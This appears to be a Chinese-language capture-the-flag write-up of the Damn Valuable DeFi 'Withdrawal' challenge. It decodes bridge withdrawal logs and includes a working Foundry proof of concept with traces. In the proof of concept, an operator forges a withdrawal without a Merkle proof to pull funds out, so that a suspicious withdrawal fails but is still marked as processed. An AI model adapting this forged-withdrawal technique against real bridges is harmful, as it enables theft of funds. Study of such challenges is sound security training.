题目 Withdrawal
有一个代币桥,可以将Damn Valuable Tokens从L2提取到L1。桥的余额有一百万个DVT代币。
桥的L1端允许任何人在延迟期结束后完成提取,只要他们能提供一个有效的Merkle证明。该证明必须与桥的所有者设定的最新提取根相对应。
你收到了一个JSON文件,其中包含了在L2上发起的4笔提取的事件日志。它们在7天延迟期之后可以在L1上执行。
但是其中有一笔看起来很可疑,不是吗?你可能想要仔细检查,因为所有资金都可能面临风险。幸运的是,你是一个拥有特殊权限的桥操作员。
通过完成所有给定的提取操作来保护桥,防止那个可疑的提取被执行,并且设法不耗尽所有资金。
要求:
- 最终桥的 DVT 余额保留 99% 以上,即 990000 以上。
- 你的账户上没有 DVT 余额。
- 你作为特权操作员,完成所有给定的提款,同时阻止可疑的提款执行。所有给定的提款(包括可疑的)都被标记为已处理。
我们先来结合合约代码看看 4 笔 L2 上的 log 信息:
topics[0]:0x43738d035e226f1ab25d294703b51025bde812317da73f87d849abbdbb6526f5
对应的 event signature 为 keccak256("MessageStored(bytes32,uint256,address,address,uint256,bytes)")
通过 L2MessageStore.sol
得知:
- topocs[1]: nonce
- topocs[2]: caller
- topocs[3]: target
log 的 data 区域为
bytes32 id
、uint256 timestamp
和bytes data
组成。
event MessageStored(bytes32 id, uint256 indexed nonce, address indexed caller, address indexed target, uint256 timestamp, bytes data);
在 L2Handler.sol
可知 bytes data
由 abi.encodeCall(L1Forwarder.forwardMessage, (nonce, msg.sender, target, message))
构成。
function sendMessage(address target, bytes calldata message) external {
l2MessageStore.store({
target: address(l1Forwarder),
data: abi.encodeCall(L1Forwarder.forwardMessage, (nonce, msg.sender, target, message))
});
unchecked {
nonce++;
}
}
4 个 log topics 部分除了 nonce 字段,其余是一样的,含义如下:
"topics": [
"0x43738d035e226f1ab25d294703b51025bde812317da73f87d849abbdbb6526f5", // event signature
"0x0000000000000000000000000000000000000000000000000000000000000000", // nonce
"0x00000000000000000000000087EAD3e78Ef9E26de92083b75a3b037aC2883E16", // caller (l2Handler)
"0x000000000000000000000000fF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5" // target (l1Forwarder)
],
4 个 log 的 data 部分,解码如下:
eaebef7f15fdaa66ecd4533eefea23a183ced29967ea67bc4219b0f1f8b0d3ba // id
0000000000000000000000000000000000000000000000000000000066729b63 // timestamp
0000000000000000000000000000000000000000000000000000000000000060 // data.offset
0000000000000000000000000000000000000000000000000000000000000104 // data.length
01210a38 // L1Forwarder.forwardMessage.selector
0000000000000000000000000000000000000000000000000000000000000000 // nonce
000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac6 // l2Sender
0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd50 // target(TokenBridge)
0000000000000000000000000000000000000000000000000000000000000080 // message.offset
0000000000000000000000000000000000000000000000000000000000000044 // message.length
81191e51 // TokenBridge.executeTokenWithdrawal.selector
000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac6 // receiver
0000000000000000000000000000000000000000000000008ac7230489e80000 // amount(10 ether)
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000
0b130175aeb6130c81839d7ad4f580cd18931caf177793cd3bab95b8cbb8de60 // id
0000000000000000000000000000000000000000000000000000000066729b95 // timestamp
0000000000000000000000000000000000000000000000000000000000000060 // data.offset
0000000000000000000000000000000000000000000000000000000000000104 // data.length
01210a38 // L1Forwarder.forwardMessage.selector
0000000000000000000000000000000000000000000000000000000000000001 // nonce
0000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e // l2Sender
0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd50 // target(TokenBridge)
0000000000000000000000000000000000000000000000000000000000000080 // message.offset
0000000000000000000000000000000000000000000000000000000000000044 // message.length
81191e51 // TokenBridge.executeTokenWithdrawal.selector
0000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e // receiver
0000000000000000000000000000000000000000000000008ac7230489e80000 // amount(10 ether)
0000000000000000000000000000000000000000000000000000000000000000 // receiver
000000000000000000000000000000000000000000000000
baee8dea6b24d327bc9fcd7ce867990427b9d6f48a92f4b331514ea688909015
0000000000000000000000000000000000000000000000000000000066729bea
0000000000000000000000000000000000000000000000000000000000000060
0000000000000000000000000000000000000000000000000000000000000104
01210a38
0000000000000000000000000000000000000000000000000000000000000002
000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e0
0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd50
0000000000000000000000000000000000000000000000000000000000000080
0000000000000000000000000000000000000000000000000000000000000044
81191e51
000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e0
00000000000000000000000000000000000000000000d38be6051f27c2600000 // amount(999000 ether)
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000
9a8dbccb6171dc54bfcff6471f4194716688619305b6ededc54108ec35b39b09
0000000000000000000000000000000000000000000000000000000066729c37
0000000000000000000000000000000000000000000000000000000000000060
0000000000000000000000000000000000000000000000000000000000000104
01210a38
0000000000000000000000000000000000000000000000000000000000000003
000000000000000000000000671d2ba5bf3c160a568aae17de26b51390d6bd5b
0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd50
0000000000000000000000000000000000000000000000000000000000000080
0000000000000000000000000000000000000000000000000000000000000044
81191e51
000000000000000000000000671d2ba5bf3c160a568aae17de26b51390d6bd5b
0000000000000000000000000000000000000000000000008ac7230489e80000 // amount(10 ether)
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000
可以看出,可疑的提币操作为第 3 笔的 999000 DVT。
由于我们有 Operator 权限,所以我们可以调用 L1Gateway.finalizeWithdrawal
函数,且不用检查 MerkleProof,故可以先提取 999000 DVT,然后到时间后再执行 4 笔提取操作,由于池子中资产不够,第 3 笔请求会失败,并且合约中对于调用成功与否都只是进行记录,不进行 revert,所以 4 笔交易都会标记成已处理。
最后把救援出的资产转回给资产池。
POC:
function test_withdrawal() public checkSolvedByPlayer {
// fake withdrawal operation and obtain tokens
bytes memory message = abi.encodeCall(
L1Forwarder.forwardMessage,
(
0, // nonce
address(0), //
address(l1TokenBridge), // target
abi.encodeCall( // message
TokenBridge.executeTokenWithdrawal,
(
player, // deployer receiver
990_000e18 //rescue 990_000e18
)
)
)
);
l1Gateway.finalizeWithdrawal(
0, // nonce
l2Handler, // pretend l2Handler
address(l1Forwarder), // target is l1Forwarder
block.timestamp - 7 days, // to pass 7 days waiting peroid
message,
new bytes32[](0)
);
// Perform finalizedWithdrawals due to we are operator, don't need to provide merkleproof.
vm.warp(1718786915 + 8 days);
// first finalizeWithdrawal
l1Gateway.finalizeWithdrawal(
0, // nonce 0
0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, // l2Sender
0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, // target
1718786915, // timestamp
hex"01210a380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000", // message
new bytes32[](0) // Merkle proof
);
// second finalizeWithdrawal
l1Gateway.finalizeWithdrawal(
1, // nonce 1
0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, // l2Sender
0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, // target
1718786965, // timestamp
hex"01210a3800000000000000000000000000000000000000000000000000000000000000010000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e510000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000", // message
new bytes32[](0) // Merkle proof
);
// third finalizeWithdrawal
l1Gateway.finalizeWithdrawal(
2, // nonce 2
0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, // l2Sender
0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, // target
1718787050, // timestamp
hex"01210a380000000000000000000000000000000000000000000000000000000000000002000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e00000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e000000000000000000000000000000000000000000000d38be6051f27c260000000000000000000000000000000000000000000000000000000000000", // message
new bytes32[](0) // Merkle proof
);
// fourth finalizeWithdrawal
l1Gateway.finalizeWithdrawal(
3, // nonce 3
0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, // l2Sender
0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, // target
1718787127, // timestamp
hex"01210a380000000000000000000000000000000000000000000000000000000000000003000000000000000000000000671d2ba5bf3c160a568aae17de26b51390d6bd5b0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000671d2ba5bf3c160a568aae17de26b51390d6bd5b0000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000", // message
new bytes32[](0) // Merkle proof
);
token.transfer(address(l1TokenBridge),990_000e18);
console.log("token.balanceOf(address(l1TokenBridge)",token.balanceOf(address(l1TokenBridge)));
}
测试结果:
forge test --mp test/withdrawal/Withdrawal.t.sol -vvvv
[PASS] test_withdrawal() (gas: 473812)
Logs:
token.balanceOf(address(l1TokenBridge) 999970000000000000000000
Traces:
[597531] WithdrawalChallenge::test_withdrawal()
├─ [0] VM::startPrank(player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C], player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C])
│ └─ ← [Return]
├─ [140028] L1Gateway::finalizeWithdrawal(0, l2Handler: [0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16], L1Forwarder: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1718182115 [1.718e9], 0x01210a38000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e5100000000000000000000000044e97af4418b7a17aabd8090bea0a471a366305c00000000000000000000000000000000000000000000d1a401ee0332eec0000000000000000000000000000000000000000000000000000000000000, [])
│ ├─ [81023] L1Forwarder::forwardMessage(0, 0x0000000000000000000000000000000000000000, TokenBridge: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0x81191e5100000000000000000000000044e97af4418b7a17aabd8090bea0a471a366305c00000000000000000000000000000000000000000000d1a401ee0332eec00000)
│ │ ├─ [426] L1Gateway::xSender() [staticcall]
│ │ │ └─ ← [Return] l2Handler: [0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16]
│ │ ├─ [38945] TokenBridge::executeTokenWithdrawal(player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C], 990000000000000000000000 [9.9e23])
│ │ │ ├─ [365] L1Forwarder::getSender() [staticcall]
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000
│ │ │ ├─ [29674] DamnValuableToken::transfer(player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C], 990000000000000000000000 [9.9e23])
│ │ │ │ ├─ emit Transfer(from: TokenBridge: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], to: player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C], amount: 990000000000000000000000 [9.9e23])
│ │ │ │ └─ ← [Return] true
│ │ │ └─ ← [Stop]
│ │ └─ ← [Stop]
│ ├─ emit FinalizedWithdrawal(leaf: 0xde4fbd6c2c395fce127ef6bd7ab51ee0e2fabd235e6d6fd9652036057396e573, success: true, isOperator: true)
│ └─ ← [Stop]
├─ [0] VM::warp(1719478115 [1.719e9])
│ └─ ← [Return]
├─ [108928] L1Gateway::finalizeWithdrawal(0, l2Handler: [0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16], L1Forwarder: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1718786915 [1.718e9], 0x01210a380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000, [])
│ ├─ [78323] L1Forwarder::forwardMessage(0, 0x328809Bc894f92807417D2dAD6b7C998c1aFdac6, TokenBridge: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0x81191e51000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000000000000000000000000000008ac7230489e80000)
│ │ ├─ [426] L1Gateway::xSender() [staticcall]
│ │ │ └─ ← [Return] l2Handler: [0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16]
│ │ ├─ [26845] TokenBridge::executeTokenWithdrawal(0x328809Bc894f92807417D2dAD6b7C998c1aFdac6, 10000000000000000000 [1e19])
│ │ │ ├─ [365] L1Forwarder::getSender() [staticcall]
│ │ │ │ └─ ← [Return] 0x328809Bc894f92807417D2dAD6b7C998c1aFdac6
│ │ │ ├─ [24874] DamnValuableToken::transfer(0x328809Bc894f92807417D2dAD6b7C998c1aFdac6, 10000000000000000000 [1e19])
│ │ │ │ ├─ emit Transfer(from: TokenBridge: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], to: 0x328809Bc894f92807417D2dAD6b7C998c1aFdac6, amount: 10000000000000000000 [1e19])
│ │ │ │ └─ ← [Return] true
│ │ │ └─ ← [Stop]
│ │ └─ ← [Stop]
│ ├─ emit FinalizedWithdrawal(leaf: 0xeaebef7f15fdaa66ecd4533eefea23a183ced29967ea67bc4219b0f1f8b0d3ba, success: true, isOperator: true)
│ └─ ← [Stop]
├─ [108928] L1Gateway::finalizeWithdrawal(1, l2Handler: [0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16], L1Forwarder: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1718786965 [1.718e9], 0x01210a3800000000000000000000000000000000000000000000000000000000000000010000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e510000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000, [])
│ ├─ [78323] L1Forwarder::forwardMessage(1, 0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e, TokenBridge: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0x81191e510000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000000000000000000000000000008ac7230489e80000)
│ │ ├─ [426] L1Gateway::xSender() [staticcall]
│ │ │ └─ ← [Return] l2Handler: [0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16]
│ │ ├─ [26845] TokenBridge::executeTokenWithdrawal(0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e, 10000000000000000000 [1e19])
│ │ │ ├─ [365] L1Forwarder::getSender() [staticcall]
│ │ │ │ └─ ← [Return] 0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e
│ │ │ ├─ [24874] DamnValuableToken::transfer(0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e, 10000000000000000000 [1e19])
│ │ │ │ ├─ emit Transfer(from: TokenBridge: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], to: 0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e, amount: 10000000000000000000 [1e19])
│ │ │ │ └─ ← [Return] true
│ │ │ └─ ← [Stop]
│ │ └─ ← [Stop]
│ ├─ emit FinalizedWithdrawal(leaf: 0x0b130175aeb6130c81839d7ad4f580cd18931caf177793cd3bab95b8cbb8de60, success: true, isOperator: true)
│ └─ ← [Stop]
├─ [83488] L1Gateway::finalizeWithdrawal(2, l2Handler: [0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16], L1Forwarder: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1718787050 [1.718e9], 0x01210a380000000000000000000000000000000000000000000000000000000000000002000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e00000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e000000000000000000000000000000000000000000000d38be6051f27c260000000000000000000000000000000000000000000000000000000000000, [])
│ ├─ [52883] L1Forwarder::forwardMessage(2, 0xea475d60c118d7058beF4bDd9c32bA51139a74e0, TokenBridge: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0x81191e51000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e000000000000000000000000000000000000000000000d38be6051f27c2600000)
│ │ ├─ [426] L1Gateway::xSender() [staticcall]
│ │ │ └─ ← [Return] l2Handler: [0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16]
│ │ ├─ [1427] TokenBridge::executeTokenWithdrawal(0xea475d60c118d7058beF4bDd9c32bA51139a74e0, 999000000000000000000000 [9.99e23])
│ │ │ ├─ [365] L1Forwarder::getSender() [staticcall]
│ │ │ │ └─ ← [Return] 0xea475d60c118d7058beF4bDd9c32bA51139a74e0
│ │ │ └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
│ │ └─ ← [Stop]
│ ├─ emit FinalizedWithdrawal(leaf: 0xbaee8dea6b24d327bc9fcd7ce867990427b9d6f48a92f4b331514ea688909015, success: true, isOperator: true)
│ └─ ← [Stop]
├─ [108928] L1Gateway::finalizeWithdrawal(3, l2Handler: [0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16], L1Forwarder: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1718787127 [1.718e9], 0x01210a380000000000000000000000000000000000000000000000000000000000000003000000000000000000000000671d2ba5bf3c160a568aae17de26b51390d6bd5b0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000671d2ba5bf3c160a568aae17de26b51390d6bd5b0000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000, [])
│ ├─ [78323] L1Forwarder::forwardMessage(3, 0x671d2ba5bF3C160A568Aae17dE26B51390d6BD5b, TokenBridge: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0x81191e51000000000000000000000000671d2ba5bf3c160a568aae17de26b51390d6bd5b0000000000000000000000000000000000000000000000008ac7230489e80000)
│ │ ├─ [426] L1Gateway::xSender() [staticcall]
│ │ │ └─ ← [Return] l2Handler: [0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16]
│ │ ├─ [26845] TokenBridge::executeTokenWithdrawal(0x671d2ba5bF3C160A568Aae17dE26B51390d6BD5b, 10000000000000000000 [1e19])
│ │ │ ├─ [365] L1Forwarder::getSender() [staticcall]
│ │ │ │ └─ ← [Return] 0x671d2ba5bF3C160A568Aae17dE26B51390d6BD5b
│ │ │ ├─ [24874] DamnValuableToken::transfer(0x671d2ba5bF3C160A568Aae17dE26B51390d6BD5b, 10000000000000000000 [1e19])
│ │ │ │ ├─ emit Transfer(from: TokenBridge: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], to: 0x671d2ba5bF3C160A568Aae17dE26B51390d6BD5b, amount: 10000000000000000000 [1e19])
│ │ │ │ └─ ← [Return] true
│ │ │ └─ ← [Stop]
│ │ └─ ← [Stop]
│ ├─ emit FinalizedWithdrawal(leaf: 0x9a8dbccb6171dc54bfcff6471f4194716688619305b6ededc54108ec35b39b09, success: true, isOperator: true)
│ └─ ← [Stop]
├─ [2974] DamnValuableToken::transfer(TokenBridge: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 990000000000000000000000 [9.9e23])
│ ├─ emit Transfer(from: player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C], to: TokenBridge: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], amount: 990000000000000000000000 [9.9e23])
│ └─ ← [Return] true
├─ [519] DamnValuableToken::balanceOf(TokenBridge: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50]) [staticcall]
│ └─ ← [Return] 999970000000000000000000 [9.999e23]
├─ [0] console::log("token.balanceOf(address(l1TokenBridge)", 999970000000000000000000 [9.999e23]) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [519] DamnValuableToken::balanceOf(TokenBridge: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50]) [staticcall]
│ └─ ← [Return] 999970000000000000000000 [9.999e23]
├─ [0] VM::assertLt(999970000000000000000000 [9.999e23], 1000000000000000000000000 [1e24]) [staticcall]
│ └─ ← [Return]
├─ [519] DamnValuableToken::balanceOf(TokenBridge: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50]) [staticcall]
│ └─ ← [Return] 999970000000000000000000 [9.999e23]
├─ [0] VM::assertGt(999970000000000000000000 [9.999e23], 990000000000000000000000 [9.9e23]) [staticcall]
│ └─ ← [Return]
├─ [519] DamnValuableToken::balanceOf(player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C]) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::assertEq(0, 0) [staticcall]
│ └─ ← [Return]
├─ [384] L1Gateway::counter() [staticcall]
│ └─ ← [Return] 5
├─ [0] VM::assertGe(5, 4, "Not enough finalized withdrawals") [staticcall]
│ └─ ← [Return]
├─ [506] L1Gateway::finalizedWithdrawals(0xeaebef7f15fdaa66ecd4533eefea23a183ced29967ea67bc4219b0f1f8b0d3ba) [staticcall]
│ └─ ← [Return] true
├─ [0] VM::assertTrue(true, "First withdrawal not finalized") [staticcall]
│ └─ ← [Return]
├─ [506] L1Gateway::finalizedWithdrawals(0x0b130175aeb6130c81839d7ad4f580cd18931caf177793cd3bab95b8cbb8de60) [staticcall]
│ └─ ← [Return] true
├─ [0] VM::assertTrue(true, "Second withdrawal not finalized") [staticcall]
│ └─ ← [Return]
├─ [506] L1Gateway::finalizedWithdrawals(0xbaee8dea6b24d327bc9fcd7ce867990427b9d6f48a92f4b331514ea688909015) [staticcall]
│ └─ ← [Return] true
├─ [0] VM::assertTrue(true, "Third withdrawal not finalized") [staticcall]
│ └─ ← [Return]
├─ [506] L1Gateway::finalizedWithdrawals(0x9a8dbccb6171dc54bfcff6471f4194716688619305b6ededc54108ec35b39b09) [staticcall]
│ └─ ← [Return] true
├─ [0] VM::assertTrue(true, "Fourth withdrawal not finalized") [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 11.00ms (2.85ms CPU time)